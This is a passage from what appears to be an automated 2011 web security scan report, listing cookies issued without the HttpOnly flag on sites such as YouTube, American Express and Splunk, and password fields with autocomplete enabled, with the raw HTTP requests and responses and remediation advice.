GEO=2489150af21634a306c82d75e51b5d30cwsAAAAzVVOtwdbzTU3P1Q==; path=/; domain=.youtube.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.519. http://www.youtube.com/embed/5aWd_-x1oPE previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/embed/5aWd_-x1oPE

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
GEO=d19e70e6a056bd960c6f9877077287edcwsAAAAzVVOtwdbzTU3Pyg==; path=/; domain=.youtube.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.520. http://www.youtube.com/watch previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.youtube.com
Path:	/watch

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PREF=f1=40000000; path=/; domain=.youtube.com; expires=Tue, 02-Feb-2021 22:41:33 GMT
GEO=f3452e70229898077c07f3ed5215d0bccwsAAAAzR0KtwdbzTU3SHQ==; path=/; domain=.youtube.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.521. http://www.zanox-affiliate.de/tpv/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.zanox-affiliate.de
Path:	/tpv/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

zttpvc=5C2945S1469387008513466368T0I11259580C0SV1LJMVy4dqmqo38356976y83y85qeyq140ya19ya5954s92yb3930ybbq71alyc3rq790phesxabzugyddydfT0; domain=.zanox-affiliate.de; path=/
zptpvc=5C2945S1469387008513466368T0I11259580C0SV1LJMVy4dqmqo38356976y83y85qeyq140ya19ya5954s92yb3930ybbq71alyc3rq790phesxabzugyddydfT0; expires=Sat, 07-May-2011 17:39:22 GMT; domain=.zanox-affiliate.de; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.522. https://www134.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www134.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296944471975155; path=/; expires=Tue, 09-Feb-16 22:21:11 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /consumertravel/travel.do HTTP/1.1
Host: www134.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.523. https://www152.americanexpress.com/premium/credit-card-travel-insurance/home.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www152.americanexpress.com
Path:	/premium/credit-card-travel-insurance/home.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296944472429389; path=/; expires=Tue, 09-Feb-16 22:21:12 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.524. https://www209.americanexpress.com/merchant/mainpagedom/authreg_showMainpage.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www209.americanexpress.com
Path:	/merchant/mainpagedom/authreg_showMainpage.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BIGipServerwww309-443=3272346122.47873.0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.525. https://www217.americanexpress.com/cards/home.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www217.americanexpress.com
Path:	/cards/home.do

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296944616338819; path=/; expires=Tue, 09-Feb-16 22:23:36 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cards/home.do HTTP/1.1
Host: www217.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.526. https://www217.americanexpress.com/cards/shopping/index.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www217.americanexpress.com
Path:	/cards/shopping/index.jsp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296944619382211; path=/; expires=Tue, 09-Feb-16 22:23:39 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cards/shopping/index.jsp HTTP/1.1
Host: www217.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.527. http://www91.intel.com/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www91.intel.com
Path:	/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

s_vi=[CS]v1|26A6E87F85163F0C-400001824071395A[CE]; Expires=Thu, 4 Feb 2016 22:36:47 GMT; Domain=.intel.com; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.528. http://x.ligatus.com/blank.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://x.ligatus.com
Path:	/blank.gif

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

srp=55f34d4ed5dec44f0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /blank.gif HTTP/1.1
Host: x.ligatus.com
Proxy-Connection: keep-alive
Referer: http://a.ligatus.com/timeout.php?ids=9470
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: srp=55f34d4ed5dec44f0000

Response

HTTP/1.1 200 OK
Server: s2.29.0
Date: Sun, 06 Feb 2011 17:09:51 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
P3P: policyref="http://www.ivwbox.de/p3p.xml", CP="NOI DSP PSAo OUR NOR UNI"
Set-Cookie: srp=55f34d4ed5dec44f0000; path=/
Content-Length: 43
Content-Type: image/gif

GIF89a.............!.......,...........D..;

15.529. http://x.ligatus.com/cgi-bin/ivw/CP/9470-215/83-692/83873-62519-_82053-58543-_83885-57091-// previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://x.ligatus.com
Path:	/cgi-bin/ivw/CP/9470-215/83-692/83873-62519-_82053-58543-_83885-57091-//

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

srp=55f34d4ed5dec44f0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cgi-bin/ivw/CP/9470-215/83-692/83873-62519-_82053-58543-_83885-57091-// HTTP/1.1
Host: x.ligatus.com
Proxy-Connection: keep-alive
Referer: http://a.ligatus.com/timeout.php?ids=9470
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: srp=55f34d4ed5dec44f0000

Response

HTTP/1.1 302 FOUND
Server: s2.29.0
Date: Sun, 06 Feb 2011 17:10:53 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Expires: Tue, 22 Aug 2000 15:05:01 GMT
P3P: policyref="http://www.ivwbox.de/p3p.xml", CP="NOI DSP PSAo OUR NOR UNI"
Set-Cookie: srp=55f34d4ed5dec44f0000; path=/
Location: /blank.gif
Content-Length: 1
Content-Type: text/plain

15.530. http://x.ligatus.com/cgi-bin/ivw/CP/9470-215/83-692/84069-53009-_83885-57091-_84615-61457-// previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://x.ligatus.com
Path:	/cgi-bin/ivw/CP/9470-215/83-692/84069-53009-_83885-57091-_84615-61457-//

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

srp=55f34d4ed5dec44f0000; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cgi-bin/ivw/CP/9470-215/83-692/84069-53009-_83885-57091-_84615-61457-// HTTP/1.1
Host: x.ligatus.com
Proxy-Connection: keep-alive
Referer: http://a.ligatus.com/timeout.php?ids=9470
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 FOUND
Server: s2.29.0
Date: Sun, 06 Feb 2011 17:09:50 GMT
Last-Modified: Tue, 22 Aug 2000 15:05:01 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Expires: Tue, 22 Aug 2000 15:05:01 GMT
P3P: policyref="http://www.ivwbox.de/p3p.xml", CP="NOI DSP PSAo OUR NOR UNI"
Set-Cookie: srp=55f34d4ed5dec44f0000; path=/
Location: /blank.gif
Content-Length: 1
Content-Type: text/plain

15.531. http://yasnide.ivwbox.de/blank.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://yasnide.ivwbox.de
Path:	/blank.gif

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

srp=17834d4ee7b34e7c0006; path=/
i00=17834d4ee7b34e7c0006; path=/; domain=.ivwbox.de; expires=Monday, 06-Feb-2012 18:25:55 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.532. http://yasnide.ivwbox.de/cgi-bin/ivw/CP/hp-ano previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://yasnide.ivwbox.de
Path:	/cgi-bin/ivw/CP/hp-ano

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

srp=17834d4ee7b34e8c0006; path=/
i00=17834d4ee7b34e8c0006; path=/; domain=.ivwbox.de; expires=Monday, 06-Feb-2012 18:25:55 GMT

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.533. http://youmob.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://youmob.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

FlashSplash=ShowFlashSplash=shown; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: youmob.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:16:28 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=wq12yn45ug5fvdbxgzsbbwym; path=/; HttpOnly
Set-Cookie: FlashSplash=ShowFlashSplash=shown; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 36606

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><meta id="MetaRefre
...[SNIP]...

15.534. http://ypn-js.overture.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ypn-js.overture.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BX=as8qm3d6krjfo&b=3&s=48; expires=Tue, 05-Feb-2013 20:00:00 GMT; path=/; domain=.overture.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: ypn-js.overture.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.535. http://zap.mookie1.com/1/vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}@x90 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://zap.mookie1.com
Path:	/1/vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}@x90

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

OAX=rcHW801NzfgADyjj; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.mookie1.com
NXCLICK2=011PlqXoNX_vibrantmedia/RadioshackLeadQ1/201101Q1/1/1/1${TIMESTAMP}!y!90!1zvpE!1qKxJ; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.mookie1.com
NSC_d15efm_qppm_iuuq=ffffffff09499e5745525d5f4f58455e445a4a423660;path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.536. http://zh-hans.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://zh-hans.splunk.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

Apache=173.193.214.243.1296944635269323; path=/; expires=Sun, 01-Feb-26 22:23:55 GMT; domain=.splunk.com
XARAYASID=m37gsp1a4komn8m06toh36i5v4; expires=Wed, 06 Feb 2036 04:23:55 GMT; path=/; domain=.splunk.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: zh-hans.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.537. http://zh-hant.splunk.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://zh-hant.splunk.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

Apache=173.193.214.243.1296944637370874; path=/; expires=Sun, 01-Feb-26 22:23:57 GMT; domain=.splunk.com
XARAYASID=s9ut7nium0d0lodm593iqgkh82; expires=Wed, 06 Feb 2036 04:23:57 GMT; path=/; domain=.splunk.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: zh-hant.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.538. http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502D850131A3-40000101003A95D2|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:31 GMT; Domain=.2o7.net; Path=/
s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:31 GMT; Domain=.2o7.net; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.539. http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21706094634719 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21706094634719

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:39 GMT; Domain=.2o7.net; Path=/
s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:21:39 GMT; Domain=.2o7.net; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.540. http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s29366180438082 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ziffdavisbaseline.112.2o7.net
Path:	/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s29366180438082

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

s_vi_kxxwwupgxxbspbtx7Dxxx7Ft=[CS]v4|26A7502C850132CA-6000010CE0000D64|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:22:21 GMT; Domain=.2o7.net; Path=/
s_vi_cpx7Fx7Fx7Dxxopjx7Cwmx7Ckikpjx7Cx7Euvx7Bxxu=[CS]v4|26A6AAA485161A8B-40000177E007F5AC|4D4EA057[CE]; Expires=Fri, 5 Feb 2016 13:22:21 GMT; Domain=.2o7.net; Path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

16. Password field with autocomplete enabled previous next
There are 131 instances of this issue:

https://axptravel.americanexpress.com/consumertravel/travel.do
https://axptravel.americanexpress.com/consumertravel/travel.do
https://axptravel.americanexpress.com/consumertravel/travel.do
http://channelmarketing.owneriq.com/rmb-account/login-page
http://dailyme.com/
http://digg.com/submit
http://friendfeed.com/
http://fussballmania.com/
http://fussballmania.com/
http://hhonors1.hilton.com/en_US/hh/home_index.do
http://hhonors1.hilton.com/en_US/hh/home_index.do
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://malsup.com/jquery/form/
http://multiply.com/
http://ping.fm/
http://software.intel.com/en-us/articles/intel-cloud-builders/
http://software.intel.com/en-us/articles/intel-cloud-builders/
http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp
http://tipd.com/
http://tipd.com/
http://tipd.com/register
http://tipd.com/register
http://twitter.com/
http://twitter.com/ORTHOSuperSite
http://twitter.com/VibrantMedia
http://twitter.com/owneriq
http://twitter.com/tipd
http://unalog.com/
http://vodpod.com/
http://wordpress.com/
https://www.americanexpress.com/gift/giftcardslanding.shtml
http://www.arto.com/
http://www.bebo.com/
http://www.coe.gatech.edu/
http://www.connotea.org/
http://www.efort.org/
http://www.facebook.com/
http://www.facebook.com/
http://www.facebook.com/BlackBerry
http://www.facebook.com/BlackBerryES
http://www.facebook.com/BlackBerryFR
http://www.facebook.com/BlackBerryNL
http://www.facebook.com/BlackBerryUK
http://www.facebook.com/BlackBerryZA
http://www.facebook.com/Craig.Marshall.Deutschland
http://www.facebook.com/ajouli1
http://www.facebook.com/americanexpress
http://www.facebook.com/dcmoncayo
http://www.facebook.com/fabianomorige
http://www.facebook.com/laprincesita.inigulable
http://www.facebook.com/marytere.medina
http://www.facebook.com/pages/Kledyde/344540630304
http://www.facebook.com/pages/OrthoSuperSitecom/296664256434
http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/pointeresortsaz
http://www.facebook.com/uschi.eller
http://www.facebook.com/vibrantmedia
http://www.fark.com/
http://www.godaddy.com/default.aspx
http://www.hyves.nl/
http://www.jamespot.com/
http://www.jazdtech.com/techdirect/
http://www.jumptags.com/
http://www.kledy.co.uk/
http://www.kledy.co.uk/
http://www.kledy.de/
http://www.kledy.de/bookmarks.php
http://www.kledy.de/bookmarks.php
http://www.kledy.de/bookmarks.php/
http://www.kledy.de/buttons.php
http://www.kledy.de/groups.php
http://www.kledy.de/impressum.php
http://www.kledy.de/login.php
http://www.kledy.de/login.php
http://www.kledy.de/topusers.php
http://www.kledy.es/
http://www.kledy.es/
http://www.kledy.eu/
http://www.kledy.it/
http://www.kledy.it/
http://www.kledy.us/
http://www.kledy.us/
http://www.klivio.com/
http://www.klivio.de/
http://www.linkagogo.com/
http://www.linkatopia.com/
http://www.linkedin.com/
http://www.linkedin.com/groupInvitation
http://www.livejournal.com/
http://www.migrationexpertzone.com/
http://www.myfitnesspal.com/nutrition-facts-calories/bjs
http://www.mylinkvault.com/
http://www.myspace.com/
http://www.myspace.com/
http://www.newsvine.com/
http://www.nmworkwear.de/
http://www.nmworkwear.de/
http://www.nmworkwear.de/index.php
http://www.nowpublic.com/
http://www.ortho.hyperguides.com/
http://www.ota.org/members_only/login_menu.cfm
http://www.pdfforge.org/
http://www.peppernews.eu/
http://www.reddit.com/
http://www.reddit.com/
http://www.reddit.com/
http://www.shoppinga.de/
http://www.sitejot.com/
http://www.spiele365.com/
http://www.splunk.com/page/sign_up
http://www.splunk.com/partners
http://www.squidoo.com/
http://www.squidoo.com/
http://www.stumbleupon.com/
http://www.stylemepretty.com/|http:/stylehive.com|http:/stylelist.com|http:/www.outblush.com/|http:/www.dooce.com/|http:/www.mightygoods.com/|http:/www.coolmompicks.com|onemanga.com|psychcentral.com|webmail.aol.com|http:/www.weblogsinc.com|http:/www.webmd.com/$|wonderwall.msn.com|msn.com/wonderwall|v14.msn.com/|preview.msn.com/|www.msn.com/preview.aspx|mtv.com/videos/|mtv.com/
http://www.technotizie.it/
http://www.technotizie.it/
http://www.tumblr.com/
http://www.tumblr.com/
https://www.xing.com/
http://www.yigg.de/
http://www1.hilton.com/en_US/hi/customersupport/site-usage.do
http://www1.hilton.com/en_US/hi/customersupport/site-usage.do
http://www1.hilton.com/en_US/hi/index.do
http://www1.hilton.com/en_US/hi/index.do
http://www1.hilton.com/en_US/hi/index.do

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

16.1. https://axptravel.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://axptravel.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The page contains a form with the following action URL:

https://axptravel.americanexpress.com/consumertravel/travel.do?a=travel-offers&us_nu=subtab&inav=menu_travel_viewoffers

The form contains the following password field with autocomplete enabled:

Request

GET /consumertravel/travel.do?a=travel-offers&us_nu=subtab&inav=menu_travel_viewoffers HTTP/1.1
Host: axptravel.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.2. https://axptravel.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://axptravel.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The page contains a form with the following action URL:

https://axptravel.americanexpress.com/consumertravel/travel.do?us_nu=subtab&inav=menu_travel_book

The form contains the following password field with autocomplete enabled:

Request

GET /consumertravel/travel.do?us_nu=subtab&inav=menu_travel_book HTTP/1.1
Host: axptravel.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:55 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=10.10.14.1-1296944695337348; Path=/; expires=Tue, 09-Feb-16 22:24:55 GMT; domain=.americanexpress.com, troute=w543; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/;domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000cwenVOSMSxNlAH4SJRtCaH-:15a6nqa6a; Path=/; Secure
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Set-Cookie: NSC_nf3-x-sx-duouswm-b=ffffffff97a3d14e45525d5f4f58455e445a4a42bbfd;path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Connection: close
Set-Cookie: sroute=990775818.58404.0000; path=/
Vary: Accept-Encoding, User-Agent
Content-Length: 121548

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
   <title>Am
...[SNIP]...
<div id="leftPanel">
           <form id="loginForm" method="post" action="" >
<fieldset>
...[SNIP]...
</label>
<input name="PWD" id="PWD" type="password" title="Enter password" class="tf-password smallLightGrey" value="" size="20"
                                   maxlength="20" tabindex="154" />
                               </div>
...[SNIP]...

16.3. https://axptravel.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://axptravel.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The page contains a form with the following action URL:

https://axptravel.americanexpress.com/consumertravel/travel.do

The form contains the following password field with autocomplete enabled:

Request

GET /consumertravel/travel.do HTTP/1.1
Host: axptravel.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.4. http://channelmarketing.owneriq.com/rmb-account/login-page previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://channelmarketing.owneriq.com
Path:	/rmb-account/login-page

Issue detail

The page contains a form with the following action URL:

http://channelmarketing.owneriq.com/rmb-account/javascript:requestLogin("userLogin");

The form contains the following password field with autocomplete enabled:

fpassword

Request

GET /rmb-account/login-page HTTP/1.1
Host: channelmarketing.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.5. http://dailyme.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://dailyme.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://dailyme.com/accounts/login

The form contains the following password field with autocomplete enabled:

data[Account][account_password]

Request

GET / HTTP/1.1
Host: dailyme.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.6. http://digg.com/submit previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://digg.com
Path:	/submit

Issue detail

The page contains a form with the following action URL:

http://digg.com/submit

The form contains the following password field with autocomplete enabled:

password

Request

GET /submit HTTP/1.1
Host: digg.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

16.7. http://friendfeed.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://friendfeed.com
Path:	/

Issue detail

The page contains a form with the following action URL:

https://friendfeed.com/account/login?v=2

The form contains the following password field with autocomplete enabled:

password

Request

GET / HTTP/1.1
Host: friendfeed.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:49:12 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 13151
Vary: Cookie
Server: FriendFeedServer/0.1
Etag: "421e51a4860e2487faa35be67b06ad80eb76a26e"
Cache-Control: private
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: AT=10242252284317811914_1296946152; Domain=.friendfeed.com; Path=/

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content
...[SNIP]...
</div>
<form action="https://friendfeed.com/account/login?v=2" method="post" onsubmit="return checkRequired(this, ['email', 'password']);">
<table class="form" style="width:100%">
...[SNIP]...
<div class="textbox"><input name="password" id="password" type="password" size="15"/></div>
...[SNIP]...

16.8. http://fussballmania.com/ previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://fussballmania.com
Path:	/

Issue detail

The page contains a form with the following action URL:

http://fussballmania.com/ucp.php?mode=login&sid=e24587447c5801c4ef3bac550d53bd0e

The form contains the following password field with autocomplete enabled:

password

